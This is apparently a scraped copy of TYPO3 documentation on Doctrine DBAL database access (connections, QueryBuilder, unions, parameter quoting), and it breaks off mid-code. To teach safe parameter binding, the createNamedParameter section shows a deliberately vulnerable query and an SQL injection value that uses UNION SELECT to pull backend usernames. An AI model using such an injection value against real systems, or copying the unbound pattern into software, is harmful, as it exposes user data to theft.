{record.computedProperties.translationSource} <!-- Only for pages, contains the Page model --><!-- Workspace related properties -->
{record.versionInfo.workspaceId}
{record.versionInfo.liveId}
{record.versionInfo.state.name}
{record.versionInfo.state.value}
{record.versionInfo.stageId}
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Using the raw record
The
RecordFactory object contains
only the properties, relevant for
the current record type, for example CType.
In case you need to access properties, which are not defined for the record
type, the "raw" record can be used by accessing it via
{record.rawRecord}. Those properties are not transformed.
Database (Doctrine DBAL)
This chapter describes accessing the database on the level of the Doctrine
Database Abstraction Layer (DBAL).
The Doctrine Database Abstraction Layer (DBAL) in TYPO3 provides developers
with a powerful and flexible way to interact a database, allowing them to
perform database operations through an object-oriented API while ensuring
compatibility across different database systems.
In Extbase extensions tables are abstracted as
Extbase models. Operations such as creating, updating and
deleting database records are usually performed from within a
Extbase repository with methods provided by Extbase
classes. However, Doctrine DBAL can also be used by extensions that use, for
example, an Extbase controller.
TYPO3 relies on storing its data in a relational database management
system (RDBMS). The Doctrine DBAL component is used to enable connecting to
different database management systems. Most used is still MySQL / MariaDB, but
thanks to Doctrine others like PostgreSQL and SQLite are also an option.
The corresponding DBMS can be selected during installation.
This chapter gives an overview of the basic TYPO3 database table structure,
followed by some information on upgrading and maintaining table and field
consistency, and then deep dives into the programming API.
Doctrine DBAL
Database queries in TYPO3 are done with an API based on Doctrine DBAL.
The API is provided by the system extension core, which is always loaded and
thus always available.
Extension authors can use this low-level API to manage query operations
directly on the configured DBMS.
Doctrine DBAL is rich in features. Drivers for various target systems enable
TYPO3 to run on a long list of ANSI SQL-compatible DBMSes. If used properly,
queries created with this API are translated to the specific database engine by
Doctrine without an extension developer taking care of that specifically.
The API provided by the Core is basically a pretty small and lightweight facade
in front of Doctrine DBAL that adds some convenient methods as well as some
TYPO3-specific sugar. The facade additionally provides methods to retrieve
specific connection objects per configured database connection based on the
table that is queried. This enables instance administrators to configure
different database engines for different tables, while being transparent to
extension developers.
This document does not outline every single method that the API provides. It
sticks to those that are commonly used in extensions, and some parts like the
rewritten schema migrator are omitted as they are usually of little to no
interest to extensions.
Understanding Doctrine DBAL and Doctrine ORM
Doctrine is a two-part project, with Doctrine DBAL being the low-level
database abstraction and the interface for building queries to specific database
engines, while Doctrine ORM is a high-level object relational mapping on top
of Doctrine DBAL.
The TYPO3 Core implements - only - the DBAL part. Doctrine ORM is neither
required nor implemented nor used.
Low-level and high-level database calls
This documentation focuses on low-level database calls. In many cases, it is
better to use higher level APIs such as the DataHandler or Extbase repositories and
to let the framework handle persistence details internally.
Tip
Always remember the high-level database calls and use them when
appropriate!
Configuration
The configuration of Doctrine DBAL for TYPO3 is about specifying the single
database endpoints and passing the connection credentials. The framework
supports the parallel usage of multiple database connections, a specific
connection is mapped depending on its table name. The table space can be seen as
a transparent layer that determines which specific connection is chosen for a
query to a single or a group of tables: It allows "swapping out" single tables
from the Default connection to point them to a different database endpoint.
As with other central configuration options, the database endpoint and mapping
configuration is done in config/system/settings.php and ends up in
$GLOBALS['TYPO3_CONF_VARS'] after the Core bootstrap. The specific sub-array is
$GLOBALS['TYPO3_CONF_VARS']['DB'] .
Example: one connection
A typical basic example using only the Default connection with a single
database endpoint:
The Default connection must be configured, this can not be left out or
renamed.
For the
mysqli driver: If the
host is set to
localhost
and if the default PHP options in this area are not changed, the connection
will be socket-based. This saves a little overhead. To force a TCP/IP-based
connection even for
localhost, the IPv4 address 127.0.0.1 or IPv6
address ::1/128 respectively must be used as
host value.
The connection options are passed to Doctrine DBAL without much
manipulation from TYPO3 side. Please refer to the
doctrine connection docs for a full overview of the settings.
If the
charset option is not specified, it defaults to
utf8.
The option
wrapperClass is used by TYPO3 to insert the extended
Connection class
\TYPO3\CMS\Core\Database\Connection as main facade around Doctrine DBAL.
Example: two connections
Attention
Changed in version 13.0
TYPO3 expects all "main" Core system tables to be configured for the
Default connection (especially
sys_*,
pages,
tt_content and in general all tables that have
TCA configured). The reason for this is to improve
performance with joins between tables. Cross-database joins are almost
impossible.
One scenario for using a separate database connection is to query data
directly from a third-party application in a custom extension. Another
use case is database-based caches.
Another example with two connections, where the
be_sessions table is
mapped to a different endpoint:
Basic create, read, update, and delete operations (CRUD)
This section provides a list of basic usage examples of the query API. This is
just a starting point. Details about the single methods can be found in the
following chapters, especially QueryBuilder and
Connection.
The engine encloses field names in quotes, adds default TCA restrictions such as
deleted=0, and prepares a query to be executed with this final statement:
SELECT`uid`, `pid`, `bodytext`FROM`tt_content`WHERE (`uid` = '4')
AND ((`tt_content`.`deleted` = 0)
AND (`tt_content`.`hidden` = 0)
AND (`tt_content`.`starttime` <= 1669838885)
AND ((`tt_content`.`endtime` = 0) OR (`tt_content`.`endtime` > 1669838885)))
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Note
The default restrictions
deleted,
hidden,
startime and
endtime based on the TCA setting of a table are
only applied to
select() calls, they are not added for
delete() or other query types.
Select multiple rows with some "where" magic
Advanced query using the
QueryBuilder and manipulating the default
restrictions:
Doctrine DBAL provides a set of PHP objects to represent, create and handle SQL
queries and their results. The basic class structure has been slightly enriched
by TYPO3 to add CMS-specific features. Extension authors will usually interact
with these classes and objects:
\TYPO3\CMS\Core\Database\Connection
This object represents a specific connection to
one connected database. It provides "shortcut" methods for simple standard
queries like
SELECT or
UPDATE. To create more complex queries,
an instance of the QueryBuilder can be
retrieved.
\TYPO3\CMS\Core\Database\ConnectionPool
The ConnectionPool is the main entry point
for extensions to retrieve a specific connection over which to execute a
query. Usually it is used to return a Connection or a QueryBuilder
object.
The ExpressionBuilder object is used to
model complex expressions. It is mainly used for
WHERE and
JOIN conditions.
\TYPO3\CMS\Core\Database\Query\QueryBuilder
With the help of the QueryBuilder one can
create all sort of complex queries executed on a specific connection. It
provides the main CRUD methods for
select(),
delete() and friends.
TYPO3\CMS\Core\Database\Query\Restriction\...
Restrictions are a set of classes that
add expressions like
deleted=0 to a query, based on the
TCA settings of a table. They automatically adds
TYPO3-specific restrictions like start time and end time, as well as deleted
and hidden flags. Further restrictions for language overlays and workspaces
are available. In this documentation, these classes are referred as
RestrictionBuilder.
\Doctrine\DBAL\Driver\Statement
This result object is returned when a
SELECT or
COUNT query was executed. Single rows are returned
as an array by calling
->fetchAssociative() until the method
returns
false.
ConnectionPool
TYPO3's interface for executing queries via Doctrine DBAL starts with
a request to the
ConnectionPool for a
QueryBuilder or a
Connection object and passing the table name to be queried:
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Domain\Repository;
useTYPO3\CMS\Core\Database\ConnectionPool;
finalclassMyTableRepository{
privateconst TABLE_NAME = 'tx_myextension_domain_model_mytable';
publicfunction__construct(
private readonly ConnectionPool $connectionPool,
){}
publicfunctionfindSomething(){
// Get a query builder for a table
$queryBuilder = $this->connectionPool
->getQueryBuilderForTable(self::TABLE_NAME);
// Or get a connection for a table
$connection = $this->connectionPool
->getConnectionForTable(self::TABLE_NAME);
}
}
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The
QueryBuilder is the default object used by extension
authors to express complex queries, while a
Connection instance can be
used as a shortcut to handle some simple query cases.
Pooling: multiple connections to different database endpoints
TYPO3 can handle multiple connections to different database endpoints at the
same time. This can be configured for each individual table in
$GLOBALS['TYPO3_CONF_VARS'] (see database configuration for details). This makes it possible to run tables on
different databases without an extension developer having to worry about it.
The
ConnectionPool
implements this feature: It looks for configured
table-to-database mapping and can return a
Connection or a
QueryBuilder instance
for that specific connection. These objects know
internally which target connection they are dealing with and will quote field
names accordingly, for instance.
Beware
However, the transparency of tables for different database endpoints is limited.
Executing a table
JOIN between two tables that reference different
connections will result in an exception. This restriction may in practice lead
to implicit "groups" of tables that must to point to a single connection when an
extension or the TYPO3 Core joins these tables.
This can be problematic when several different extensions use, for instance, the
Core category or collection API with their mm table joins between Core internal
tables and their extension counterparts.
That situation is not easy to deal with. At the time of writing the Core
development will implement eventually some non-join fallbacks for typical cases
that would be good to decouple, though.
Tip
In the case joins cannot be decoupled, but still need to run affected tables
on different databases, and when the code can not be easily adapted, some
DBMS like PostgreSQL allow these queries to be executed by having their own
connection handlers to various other endpoints.
The query builder provides a set of methods to create queries
programmatically.
This chapter provides examples of the most common queries.
Warning
From a security point of view, the documentation of
->createNamedParameter()
and ->quoteIdentifier() are
an absolute must read and follow section. Make very sure you understand
this and use it for each and every query to prevent SQL
injections!
The query builder comes with a happy little list of small methods:
Set type of query:
->select(),
->count(),
->update(),
->insert() and
->delete()
Prepare
WHERE conditions
Manipulate default
WHERE restrictions added by TYPO3 for
->select()
Add
LIMIT,
GROUP BY and other SQL functions
executeQuery() executes a
SELECT query and returns a result,
a
\Doctrine\DBAL\Result object
executeStatement() executes an
INSERT,
UPDATE or
DELETE statement and returns the number of affected rows.
Most of the query builder methods provide a fluent interface, return
an instance of the current query builder itself, and can be chained:
$queryBuilder
->select('uid')
->from('pages');
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Instantiation
To create an instance of the query builder, call
ConnectionPool::getQueryBuilderForTable() and pass the table as an
argument. The ConnectionPool object can be
injected via dependency injection.
Never instantiate and initialize the query builder manually using
dependency injection or
GeneralUtility::makeInstance(), otherwise you
will miss essential dependencies and runtime setup.
Warning
The QueryBuilder holds internal state and must not be reused for
different queries. In addition, a reuse comes with a
significant performance penalty and memory consumption.
Use one query builder per query. Get a fresh one by calling
$connection->createQueryBuilder() if the same table is
involved, or use
$connectionPool->getQueryBuilderForTable() for a
query to a different table. Do not worry, creating those object instances
is quite fast.
->select() and a number of other methods of the query builder
are variadic
and can handle any number of arguments. In
->select() each argument
is interpreted as a single field name to be selected:
// SELECT `tt_content`.`bodytext` AS `t1`.`text`
$queryBuilder->select('tt_content.bodytext AS t1.text')
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With
->select() the list of fields to be selected is specified, and with
->addSelect() further elements can be added to an existing list.
Mind that
->select()replaces any formerly registered list instead of
appending it. Thus, it is not very useful to call
select() twice in a
code flow or after an
->addSelect(). The methods
->where() and
->andWhere() share the same behavior:
->where() replaces all
formerly registered constraints,
->andWhere() appends additional
constraints.
A useful combination of
->select() and
->addSelect() can be:
$queryBuilder->select(...$defaultList);
if ($needAdditionalFields) {
$queryBuilder->addSelect(...$additionalFields);
}
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Calling the
executeQuery() function on a
->select() query returns
a result object of type
\Doctrine\DBAL\Result. To receive single rows, a
->fetchAssociative() loop is used on that object, or
->fetchAllAssociative() to return a single array with all rows. A typical
code flow of a
SELECT query looks like this:
->select() and
->count() queries trigger TYPO3 magic that adds
further default where clauses if the queried table is also registered via
$GLOBALS['TCA'] . See the RestrictionBuilder section for details on that topic.
Similar to the
->select() query type,
->count() automatically
triggers the magic of the RestrictionBuilder that adds default restrictions such as
deleted,
hidden,
starttime and
endtime when
defined in TCA.
Similar to
->select() query types,
->executeQuery() with
->count() returns a result object of type
\Doctrine\DBAL\Result.
To fetch the number of rows directly, use
->fetchOne().
The first argument to
->count() is required, typically
->count(*) or
->count('uid') is used, the field name is
automatically quoted.
There is no support for
DISTINCT, instead a
->groupBy() has to
be used, for example:
If
->count() is combined with
->groupBy(), the result may
return multiple rows. The order of those rows depends on the used
DBMS. Therefore, to ensure the same
order of result rows on multiple different databases, a
->groupBy()
should always be combined with an
->orderBy().
delete()
Create a
DELETE FROM query. The method requires the table name from which
data is to be deleted. Classic usage:
For simple cases it is often easier to write and read using the
->delete() method of the Connection
object.
In contrast to
->select(),
->delete() does not
automatically add
WHERE restrictions like AND `deleted` = 0.
->delete() does not magically transform a
DELETE FROM `tt_content` WHERE `uid` = 4711 into something like
UPDATE `tt_content` SET `deleted` = 1 WHERE `uid` = 4711 internally.
A soft-delete must be handled at application level with a dedicated
lookup in
$GLOBALS['TCA']['theTable']['ctrl']['delete'] to check if
a specific table can handle the soft-delete, together with an
->update() instead.
Deleting from multiple tables at once is not supported:
DELETE FROM `table1`, `table2` can not be created.
->delete() ignores
->join()
->delete() ignores
setMaxResults():
DELETE with
LIMIT does not work.
->update() requires the table to update as the first argument and a table
alias (for example,
t) as optional second argument. The table alias can
then be used in
->set() and
->where() expressions:
->set() requires a field name as the first argument and automatically
quotes it internally. The second mandatory argument is the value to set a field
to. The value is automatically transformed to a named parameter of a prepared
statement. This way,
->set() key/value pairs are automatically SQL
protected from injection by default.
If a field should be set to the value of another field from the row, quoting
must be turned off and
->quoteIdentifier() and
false have to
be used:
->values() expects an array of key/value pairs. Both keys (field
names / identifiers) and values are automatically quoted. In rare cases,
quoting of values can be turned off by setting the second argument to
false. Then quoting must be done manually, typically by using
->createNamedParameter() on the values.
->executeStatement() after
->insert() returns the number of
inserted rows, which is typically 1.
An alternative to using the query builder for inserting data is using the
Connection object with its
->insert()
method.
The query builder does not provide a method for inserting multiple rows
at once, use
->bulkInsert() of the Connection
object instead to achieve that.
from()
->from() is essential for
->select() and
->count() query
types.
->from() requires a table name and an optional alias name. The
method is usually called once per query creation and the table name is usually
the same as the one passed to
->getQueryBuilderForTable(). If the query
joins multiple tables, the argument should be the name of the first table within
the
->join() chain:
// FROM `myTable`
$queryBuilder->from('myTable');
// FROM `myTable` AS `anAlias`
$queryBuilder->from('myTable', 'anAlias');
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->from() can be called multiple times and will create the Cartesian
product of tables if not constrained by a respective
->where() or
->andWhere() expression. In general, it is a good idea to use
->from() only once per query and instead model the selection of multiple
tables with an explicit
->join().
where(), andWhere() and orWhere()
The three methods are used to create
WHERE restrictions for
SELECT,
COUNT,
UPDATE and
DELETE query types. Each argument is
usually an ExpressionBuilder object that
is converted to a string on
->executeQuery() or
->executeStatement():
The three methods are variadic.
They can handle any number of arguments. For instance, if
->where()
receives four arguments, they are handled as single expressions, all
combined with
AND.
createNamedParameter
is used to create a placeholder for a field value of a prepared statement.
Always use this when dealing with user input in expressions to protect
the statement from SQL injections.
->where() should be called only once per query and resets all
previously set
->where(),
->andWhere() and
->orWhere()
expressions. A
->where() call after a previous
->where(),
->andWhere() or
->orWhere() usually indicates a bug or a
rather weird code flow. Doing so is discouraged.
When creating complex
WHERE restrictions,
->getSQL() and
->getParameters() are helpful debugging tools to verify parenthesis
and single query parts.
If only
->eq() expressions are used, it is often easier to switch to
the according method of the Connection object
to simplify quoting and improve readability.
It is possible to feed the methods directly with strings, but this is
discouraged and usually used only in rare cases where expression strings
are created in a different place that can not be easily resolved.
join(), innerJoin(), rightJoin() and leftJoin()
Joining multiple tables in a
->select() or
->count() query is done
with one of these methods. Multiple joins are supported by calling the methods
more than once. All methods require four arguments: The name of the table on the
left (or its alias), the name of the table on the right, an alias for the name
of the table on the right, and the join restriction as fourth argument:
The query operates with the
sys_language table as the main table,
this table name is given to
getQueryBuilderForTable().
The query joins the
pages table as
INNER JOIN and gives it the
alias
p.
The join condition is `p`.`sys_language_uid` = `sys_language`.`uid`. It
would have been identical to swap the expression arguments of the fourth
->join() argument
->eq('sys_language.uid', $queryBuilder->quoteIdentifier('p.sys_language_uid')).
The second argument of the join expression instructs the
ExpressionBuilder to quote the value as
a field identifier (a field name, here a combination of table and field
name). Using createNamedParameter
would lead in quoting as value (' instead of ` in MySQL) and the query
would fail.
The alias
p - the third argument of the
->join() call - does
not necessarily have to be set to a different name than the table name
itself here. It is sufficient to use
pages as third argument and not
to specify any other name. Aliases are mostly useful when a join to the same
table is needed:
SELECT `something` FROM `tt_content` JOIN `tt_content` `content2` ON ....
Aliases are also useful to increase the readability of ->where()
expressions.
The RestrictionBuilder has added
additional
WHERE conditions for both tables involved! The
sys_language table obviously only specifies a
'disabled' => 'hidden' as
enableColumns in its
TCA ctrl section, while the
pages table
specifies the fields
deleted,
hidden,
starttime and
stoptime.
A more complex example with two joins. The first join points to the first table,
again using an alias to resolve a language overlay scenario. The second join
uses the alias of the first join target as left side:
->join() and innerJoin are identical. They create an
INNER JOIN query, this is identical to a
JOIN query.
->leftJoin() creates a
LEFT JOIN query, this is identical to
a
LEFT OUTER JOIN query.
->rightJoin() creates a
RIGHT JOIN query, this is identical to
a
RIGHT OUTER JOIN query.
Calls to
join() methods are only considered for
->select() and
->count() type queries.
->delete(),
->insert()
and
update() do not support joins, these query parts are ignored and
do not end up in the final statement.
The argument of
->getQueryBuilderForTable() should be the leftmost
main table.
Joining two tables that are configured to different connections will throw
an exception. This restricts the tables that can be configured for different
database endpoints. It is possible to test the connection objects of the
involved tables for equality and implement a fallback logic in PHP if they
are different.
Doctrine DBAL does not support the use of join methods in combination with
->update(),
->insert() and
->delete() methods, because
such a statement is not cross-platform compatible.
Multiple join condition expressions can be resolved as strings like:
->orderBy() resets all previously specified orders. It makes no sense
to call this function again after a previous
->orderBy() or
->addOrderBy().
Both methods need a field name or a
table.fieldName or a
tableAlias.fieldName as first argument. In the example above the call
to
->orderBy('sys_language.sorting') would have been identical. All
identifiers are quoted automatically.
The second, optional argument of both methods specifies the sort order. The
two allowed values are
'ASC' and
'DESC', where
'ASC'
is default and can be omitted.
To create a chain of orders, use
->orderBy() and then multiple
->addOrderBy() calls. The call to
->orderBy('header')->addOrderBy('bodytext')->addOrderBy('uid', 'DESC')
creates ORDER BY `header` ASC, `bodytext` ASC, `uid` DESC
To achieve more complex sortings, which can't be created with QueryBuilder,
you can fall back on the underlying raw Doctrine QueryBuilder. This is
accessible with
->getConcreteQueryBuilder(). It doesn't do any
quoting, so you can do something like
$concreteQueryBuilder->orderBy('FIELD(eventtype, 0, 4, 1, 2, 3)');.
Make sure to quote properly as this is entirely your responsibility with the
Doctrine QueryBuilder!
groupBy() and addGroupBy()
Add
GROUP BY to a
->select() statement. Each argument of the
methods is a single identifier:
// GROUP BY `pages`.`sys_language_uid`, `sys_language`.`uid`
->groupBy('pages.sys_language_uid', 'sys_language.uid');
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Remarks:
Similar to
->select() and
->where(), both methods are variadic
and take any number of arguments, argument unpacking is supported:
->groupBy(...$myGroupArray)
Each argument is either a direct field name GROUP BY `bodytext`,
a
table.fieldName or a
tableAlias.fieldName and is properly
quoted.
->groupBy() resets all previously defined group specification and
should only be called once per statement.
For more complex statements you can use the raw Doctrine QueryBuilder.
See remarks for orderBy()
union() and addUnion()
Method union() provides a streamlined way to combine result sets from multiple
queries.
union(string|QueryBuilder $part)
Creates the initial
UNION query part by accepting either a raw SQL
string or a QueryBuilder instance. Calling union() resets all previous
union definitions, it should therefore only be called once, using addUnion()
to add subsequent union parts.
Adds additional
UNION parts to the query. The $type parameter accepts:
UnionType::DISTINCT
Combines results while eliminating duplicates.
UnionType::ALL
Combines results and retains all duplicates. Not removing duplicates can
be a performance improvement.
Note
While technically possible, it is not recommended to send direct SQL queries
as strings to the union() and addUnion() methods. We recommend to use a
query builder.
If you decide to do so you must take care of quoting, escaping, and
valid SQL Syntax for the database system in question. The Default Restrictions
are not applied on that part.
Named placeholders, such as created by
QueryBuilder::createNamedParameter()must be created on the outer most QueryBuilder See the example below.
Database provider support of union() and addUnion()
QueryBuilder can be used create
UNION clause queries not compatible with all database providers,
for example using
LIMIT/OFFSET in each part query or other stuff.
When building functional tests, run them on all database types that should
be supported.
<?phpnamespaceMyExtension\MyVendor\Service;
useDoctrine\DBAL\Query\UnionType;
useTYPO3\CMS\Core\Database\Connection;
useTYPO3\CMS\Core\Database\ConnectionPool;
useTYPO3\CMS\Core\Database\Query\QueryBuilder;
final readonly classMyService{
publicfunction__construct(
private ConnectionPool $connectionPool,
){}
publicfunctiongetTitlesOfSubpagesAndContent(
int $parentId,
): ?array{
$connection = $this->connectionPool->getConnectionForTable('pages');
$unionQueryBuilder = $connection->createQueryBuilder();
// Passing the outermost QueryBuilder to the subqueries
$firstPartQueryBuilder = $this->getUnionPart1QueryBuilder($connection, $unionQueryBuilder, $parentId);
$secondPartQueryBuilder = $this->getUnionPart2QueryBuilder($connection, $unionQueryBuilder, $parentId);
return $unionQueryBuilder
->union($firstPartQueryBuilder)
->addUnion($secondPartQueryBuilder, UnionType::DISTINCT)
->orderBy('uid', 'ASC')
->executeQuery()
->fetchAllAssociative();
}
privatefunctiongetUnionPart1QueryBuilder(
Connection $connection,
QueryBuilder $unionQueryBuilder,
int $pageId,
): QueryBuilder{
$queryBuilder = $connection->createQueryBuilder();
// The union Expression Builder **must** be used on subqueries
$unionExpr = $unionQueryBuilder->expr();
$queryBuilder
// The column names of the first query are used// The column count of both subqueries must be the same// The data types must be compatible across columns of the queries
->select('title', 'subtitle')
->from('pages')
->where(
// The union Expression Builder **must** be used on subqueries
$unionExpr->eq(
'pages.pid',
// Named parameters **must** be created on the outermost (union) query builder
$unionQueryBuilder->createNamedParameter($pageId, Connection::PARAM_INT),
),
);
return $queryBuilder;
}
privatefunctiongetUnionPart2QueryBuilder(
Connection $connection,
QueryBuilder $unionQueryBuilder,
int $pageId,
): QueryBuilder{
$queryBuilder = $connection->createQueryBuilder();
// The union Expression Builder **must** be used on subqueries
$unionExpr = $unionQueryBuilder->expr();
$queryBuilder
// The column count of both subqueries must be the same
->select('header', 'subheader')
->from('tt_content')
->where(
$unionExpr->eq(
'tt_content.pid',
// Named parameters **must** be created on the outermost (union) query builder
$unionQueryBuilder->createNamedParameter($pageId, Connection::PARAM_INT),
),
);
return $queryBuilder;
}
}
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Line 18
All query parts must share the same connection.
Line 19
The outer most QueryBuilder is responsible for the union, it must be
used to create named parameters and build expressions within the sub queries.
Line 22-23
We therefore pass the central QueryBuilder responsible for the
UNION
to all subqueries. Same with the ExpressionBuilder.
Line 25-30
We start building the union() on the first sub query, then add the
second sub query using addUnion()
Line 41
Only use the ExpressionBuilder of the sql:UNION within the subqueries.
Line 50
Named parameters must also be called on the outer most union query builder.
It is allowed to call
->setMaxResults() without calling
->setFirstResult().
It is possible to call
->setFirstResult() without calling
setMaxResults(): This is equivalent to "Fetch everything, but leave
out the first n records". Internally,
LIMIT will be added by
Doctrine DBAL and set to a very high value.
->setMaxResults(null) can be used to retrieve all results.
If an unlimited result set is needed, and no
reset of previous instructions is required, this method call should best
be omitted for best compatibility.
Changed in version 13.0
Starting with TYPO3 13 null instead of argument 0 (integer)
must be used in
->setMaxResults() to return
the complete result set without any
LIMIT.
add()
Changed in version 13.0
With the upgrade to Doctrine DBAL version 4 this method has been removed.
The
->getSQL() method returns the created query statement as string. It
is incredibly useful during development to verify that the final statement is
executed exactly as a developer expects:
This is debugging code. Take proper actions to ensure that these calls do
not end up in production!
The method is usually called directly before
->executeQuery() or
->executeStatement() to output the final statement.
Casting a query builder object to
(string) has the same effect as
calling
->getSQL(), but the explicit call using the method should be
preferred to simplify a search operation for this kind of debugging
statements.
The method is a simple way to see what restrictions the
RestrictionBuilder has added.
Doctrine DBAL always creates prepared statements: Each value added via
createNamedParameter
creates a placeholder that is later replaced when the real query is
triggered via
->executeQuery() or
->executeStatement().
->getSQL() does not show these values, instead it displays the
placeholder names, usually with a string like :dcValue1. There is no
simple solution to show the fully replaced query within the framework, but
you can use getParameters to
see the array of parameters used to replace these placeholders within the
query. On the frontend, the queries and parameters are available in the
admin panel.
getParameters()
The
->getParameters() method returns the values for the placeholders of
the prepared statement in an array. This is incredibly useful during development
to verify that the final statement is executed as a developer expects:
This is debugging code. Take proper actions to ensure that these calls do
not end up in production!
The method is usually called directly before
->executeQuery() or
->executeStatement() to output the final statement.
Doctrine DBAL always creates prepared statements: Each value added via
createNamedParameter
creates a placeholder that is later replaced when the real query is
triggered via
->executeQuery() or
->executeStatement().
->getParameters() does not show the statement or the placeholders,
instead the values are displayed, usually an array using keys like
:dcValue1. There is no simple solution to show the fully replaced query
within the framework, but you can use getSql to see the string with placeholders, which
is used as a prepared statement.
executeQuery() and executeStatement()
Changed in version 13.0
The
->execute() method has been removed. Use
->executeQuery() returning a
\Doctrine\DBAL\Result instead
of a
\Doctrine\DBAL\Statement (like the
->execute()
method returned) and
->executeStatement() returning the number of affected rows.
executeQuery()
This method compiles and fires the final query statement. This is usually the
last call on a query builder object. It can be called for
SELECT and
COUNT queries.
On success, it returns a result object of type
\Doctrine\DBAL\Result
representing the result set. The
Result object can then be used by
fetchAssociative(),
fetchAllAssociative() and
fetchOne().
executeQuery() returns a
\Doctrine\DBAL\Result and not a
\Doctrine\DBAL\Statement anymore.
Note
It is not possible to rebind placeholder values on the result and execute
another query, as was sometimes done with the
Statement returned by
execute().
If the query fails for some reason (for instance, if the database connection
was lost or if the query contains a syntax error), an
\Doctrine\DBAL\Exception is thrown. It is usually bad habit to catch and
suppress this exception, as it indicates a runtime error a program error. Both
should bubble up. For more information on proper exception handling, see the
coding guidelines.
executeStatement()
The
executeStatement() method can be used for
INSERT,
UPDATE and
DELETE statements. It returns the number of affected
rows as an integer.
expr()
This method returns an instance of the ExpressionBuilder. It is used to create complex
WHERE query
parts and
JOIN expressions:
This object is stateless and can be called and worked on as often as needed.
However, it is bound to the specific connection for which a statement is
created and therefore only available through the query builder, which is
specific to a connection.
Never reuse the ExpressionBuilder,
especially not between multiple query builder objects, but always get an
instance of the expression builder by calling
->expr().
createNamedParameter()
Changed in version 13.0
Doctrine DBAL v4 dropped the support for using the
\PDO::PARAM_*
constants in favor of the enum types. Be aware of this and use
\TYPO3\CMS\Core\Database\Connection::PARAM_*, which can already be
used in TYPO3 v12 and v11.
This method creates a placeholder for a field value of a prepared statement.
Always use this when dealing with user input in expressions to protect the
statement from SQL injections:
The above example shows the importance of using
->createNamedParameter():
The search word kl'aus is "tainted" and would break the query if not
channeled through
->createNamedParameter(), which quotes the backtick and
makes the value SQL injection-safe.
Not convinced? Suppose the code would look like this:
// NEVER EVER DO THIS!
$_POST['searchword'] = "'foo' UNION SELECT username FROM be_users";
$searchWord = $request->getParsedBody()['searchword']);
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$queryBuilder->getRestrictions()->removeAll();
this fails with syntax error to prevent copy and paste
$queryBuilder
->select('uid')
->from('tt_content')
->where(
// MASSIVE SECURITY ISSUE DEMONSTRATED HERE// USE ->createNamedParameter() ON $searchWord!
$queryBuilder->expr()->eq('bodytext', $searchWord)
);
Mind the missing
->createNamedParameter() method call in the
->eq() expression for a given value! This code would happily execute
the statement
SELECT uid FROM `tt_content` WHERE `bodytext` = 'foo' UNION SELECT username FROM be_users;
returning a list of backend user names!
Note
->set() automatically converts the second mandatory parameter into
a named parameter of a prepared statement. If the second parameter is
wrapped in a
->createNamedParameter() call, this will result in an
error during execution. This behaviour can be disabled by passing
false as third parameter to
->set().
Always use
->createNamedParameter() for any input, no matter
where it comes from.
The second argument of
->expr() is always either a call to
->createNamedParameter() or
->quoteIdentifier().
The second argument of
->createNamedParameter() specifies the type of
input. For string, this can be omitted, but it is good practice to add
\TYPO3\CMS\Core\Database\Connection::PARAM_INT for integers or similar for
other field types. This is not strict rule currently, but if you follow it
you will have fewer headaches in the future, especially with DBMSes that are not as relaxed as MySQL when it
comes to field types. The
Connection constants can be used for simple
types like bool, string, null, lob and integer. Additionally, the
two constants Connection::PARAM_INT_ARRAY and Connection::PARAM_STR_ARRAY
can be used when handling an array of strings or integers, for instance in
an IN() expression.
Keep the
->createNamedParameter() method as close to the expression
as possible. Do not structure your code in a way that it quotes something
first and only later stuffs the already prepared names into the expression.
Having
->createNamedParameter() directly within the created
expression, is much less error-prone and easier to review. This is a general
rule: Sanitizing input must be done as close as possible to the "sink" where
a value is passed to a lower part of the framework. This paradigm should
also be followed for other quote operations like
htmlspecialchars()
or
GeneralUtility::quoteJSvalue(). Sanitization should be obvious
directly at the very place where it is important:
->quoteIdentifier() must be used when not a value but a field name is
handled. The quoting is different in those cases and typically ends up with
backticks ` instead of ticks ':
// SELECT `uid` FROM `tt_content` WHERE (`header` = `bodytext`)// Return list of rows where header and bodytext values are identical
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$queryBuilder
->select('uid')
->from('tt_content')
->where(
$queryBuilder->expr()->eq(
'header',
$queryBuilder->quoteIdentifier('bodytext')
)
);
The method quotes single field names or combinations of table names or table
aliases with field names:
Some quote examples
// Single field name: `bodytext`
->quoteIdentifier('bodytext');
// Table name and field name: `tt_content`.`bodytext`
->quoteIdentifier('tt_content.bodytext')
// Table alias and field name: `foo`.`bodytext`
->from('tt_content', 'foo')->quoteIdentifier('foo.bodytext')
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Remarks:
Similar to ->createNamedParameter() this method is crucial to
prevent SQL injections. The same rules apply here.
The ->set() method for
UPDATE statements expects its second argument to be a field value by
default, and quotes it internally using
->createNamedParameter(). If
a field should be set to the value of another field, this quoting can be
turned off and an explicit call to
->quoteIdentifier() must be added.
Internally,
->quoteIdentifier() is automatically called on all method
arguments that must be a field name. For instance,
->quoteIdentifier()
is called for all arguments of ->select().
->quoteIdentifiers() (mind the plural) can be used to quote multiple
field names at once. While that method is "public" and thus exposed as an
API method, this is mostly useful internally only.
escapeLikeWildcards()
Helper method to quote % characters within a search string. This is helpful in
->like() and
->notLike() expressions:
Even when using
->escapeLikeWildcards() the value must be
encapsulated again in a
->createNamedParameter() call. Only calling
->escapeLikeWildcards() does not make the value SQL injection
safe!
The
\TYPO3\CMS\Core\Database\Connection class extends the basic Doctrine
DBAL
\Doctrine\DBAL\Connection class and is mainly used internally in
TYPO3 to establish, maintain and terminate connections to single database
endpoints. These internal methods are not the scope of this documentation, since
an extension developer usually does not have to deal with them.
However, for an extension developer, the class provides a list of short-hand
methods that allow you to deal with query cases without the complexity
of the query builder. Using these methods
usually ends up in rather short and easy-to-read code. The methods have in common
that they only support "equal" comparisons in
WHERE conditions, that all
fields and values are automatically fully quoted, and that the created queries
are executed right away.
Note
The
Connection object is designed to work on a single table only. If
queries are performed on multiple tables, the object must not be reused.
Instead, a single
Connection instance per target table should be
retrieved via ConnectionPool. However, it
is allowed to use one
Connection object for multiple queries on the
same table.
Instantiation
Using the connection pool
An instance of the
\TYPO3\CMS\Core\Database\Connection class is retrieved
from the ConnectionPool by calling
->getConnectionForTable() and passing the table name for which a query
should be executed. The
ConnectionPool can be injected via constructor:
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Domain\Repository;
useTYPO3\CMS\Core\Database\Connection;
finalclassMyTableRepository{
publicfunction__construct(
private readonly Connection $connection,
){}
